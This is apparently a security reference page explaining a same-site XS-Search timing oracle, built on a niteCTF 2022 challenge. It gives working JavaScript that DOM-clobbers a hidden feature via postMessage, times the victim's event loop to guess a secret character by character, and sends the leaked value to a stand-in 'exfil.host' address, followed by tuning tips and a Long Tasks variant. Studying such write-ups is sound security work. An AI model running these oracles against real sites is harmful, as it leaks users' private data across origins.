performance.now example

Example taken from https://ctf.zeyu2001.com/2022/nitectf-2022/js-api^[1]

This is a same-site postMessage XS-Search oracle: the attacker controls a trusted .jsapi.tech subdomain, enables a hidden search gadget via DOM clobbering, and then measures how long the target page keeps the observable event loop busy while processing a candidate prefix.^[1]

const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(flag) {
  let w = frame.contentWindow
  w.postMessage(
    { op: "preview", payload: '<img name="enable_experimental_features">' },
    "*"
  )
  await sleep(1)
  w.postMessage({ op: "search", payload: flag }, "*")
  let t1 = performance.now()
  await sleep(1)
  return performance.now() - t1 > 200
}

async function main() {
  let alpha =
    "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
  window.frame = document.createElement("iframe")
  frame.width = "100%"
  frame.height = "700px"
  frame.src = "https://challenge.jsapi.tech/"
  document.body.appendChild(frame)
  await sleep(1000)

  let flag = "nite{"
  while (1) {
    for (let c of alpha) {
      let result = await Promise.race([
        check(flag + c),
        new Promise((res) =>
          setTimeout(() => {
            res(true)
          }, 300)
        ),
      ])
      console.log(flag + c, result)
      if (result) {
        flag += c
        break
      }
    }
    new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
  }
}

document.addEventListener("DOMContentLoaded", main)

Why this works

1. The vulnerable page exposes a preview operation that writes sanitized HTML into innerHTML without changing the real note contents.
2. The payload <img name="enable_experimental_features"> DOM-clobbers window.enable_experimental_features, so the hidden search() feature stops returning early.
3. A correct guess makes search() do much more work than a miss: substring checks, repeated DOM appends with <mark>, and extra rendering for the results panel.
4. The attacker posts the search request, yields with await sleep(1), and then uses performance.now() to see how late the timer resumes. A large delay means the victim branch was expensive.^[1]

Practical notes

• Calibrate a threshold first with several known-hit and known-miss probes, then classify each candidate using the median/average instead of a single run.
• Reset state between probes whenever the target accumulates DOM (for example, when highlights are appended but never cleared). Recreating the iframe per guess is slower but usually more stable.
• Cache-bust repeated requests if the target or browser can reuse previous results; otherwise the timing gap tends to collapse after the first few probes.
• This exact busy event-loop oracle is easiest when attacker and target stay same-site / same-process enough to share an observable thread. On modern deployments, off-site iframes or subresource loads often lose victim cookies because of SameSite=Lax/Strict, so the cross-site version frequently needs a same-site foothold or a top-level navigation / popup variant instead.^[2]
• If the signal is too noisy on a remote headless bot, force a heavier positive branch or pivot to related primitives such as performance.now + Force heavy task or Event Loop Blocking + Lazy images.

PerformanceLongTaskTiming variant

The original intended solve used a long-task oracle instead of comparing raw deltas. This is useful when the positive branch reliably blocks the UI thread for 50ms+:^[1]

const longTasks = []
new PerformanceObserver((list) => longTasks.push(...list.getEntries())).observe({
  type: "longtask",
  buffered: true,
})

async function checkLongTask(flag) {
  longTasks.length = 0
  let w = frame.contentWindow
  w.postMessage({ op: "preview", payload: '<img name="enable_experimental_features">' }, "*")
  await sleep(1)
  w.postMessage({ op: "search", payload: flag }, "*")
  await sleep(75)
  return longTasks.some((e) => e.duration >= 50)
}

This is cleaner than hand-picked thresholds, but the Long Tasks API reports tasks whose duration exceeds 50 ms, so a false negative does not prove the guess was wrong.^[3]

References

• [1] niteCTF 2022 - js-api writeup
• [2] From XS-Leaks to SS-Leaks
• [3] W3C — Long Tasks API